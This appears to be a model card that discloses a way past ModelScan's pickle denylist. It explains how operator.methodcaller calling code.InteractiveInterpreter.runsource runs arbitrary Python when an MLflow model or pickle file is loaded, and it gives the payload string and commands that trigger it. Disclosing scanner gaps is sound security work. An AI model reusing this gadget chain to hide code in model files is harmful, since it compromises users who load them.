ModelScan code.InteractiveInterpreter Bypass β RCE via code.InteractiveInterpreter.runsource()
Summary
ModelScan's pickle scanner uses an unsafe_globals denylist to detect malicious pickle operations. However, code.InteractiveInterpreter and operator.methodcaller are NOT in the denylist.
This MLflow model achieves arbitrary Python code execution through code.InteractiveInterpreter.runsource(), while ModelScan reports zero issues.
Attack Chain
The pickle bytecode uses only two STACK_GLOBAL opcodes:
operator.methodcaller('runsource', '__import__("os").system("cmd")')β Creates a callablecode.InteractiveInterpreter()β Creates an interactive interpreter instance
At load time: methodcaller(interpreter) β interpreter.runsource('__import__("os").system("cmd")') β Arbitrary Python code execution
Why It Works
codemodule is entirely absent from unsafe_globalsoperator.methodcalleris not blocked (onlyoperator.attrgetteris)- Unlike
os.systemwhich only runs shell commands,runsource()executes arbitrary Python code
Verification
# 1. ModelScan says CLEAN
modelscan -p model.pkl
# Output: No issues found! π
# 2. MLflow load triggers RCE
python3 -c "
import mlflow.pyfunc
model = mlflow.pyfunc.load_model('.')
"
# 3. Direct pickle.load() triggers RCE
python3 -c "
import pickle
with open('model.pkl', 'rb') as f:
pickle.load(f)
"
Impact
- Severity: Critical (CVSS 9.8)
- Affected: All pickle-based formats scanned by ModelScan
- Remote, no auth needed, no user interaction
- Executes arbitrary Python code (not limited to shell commands)
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support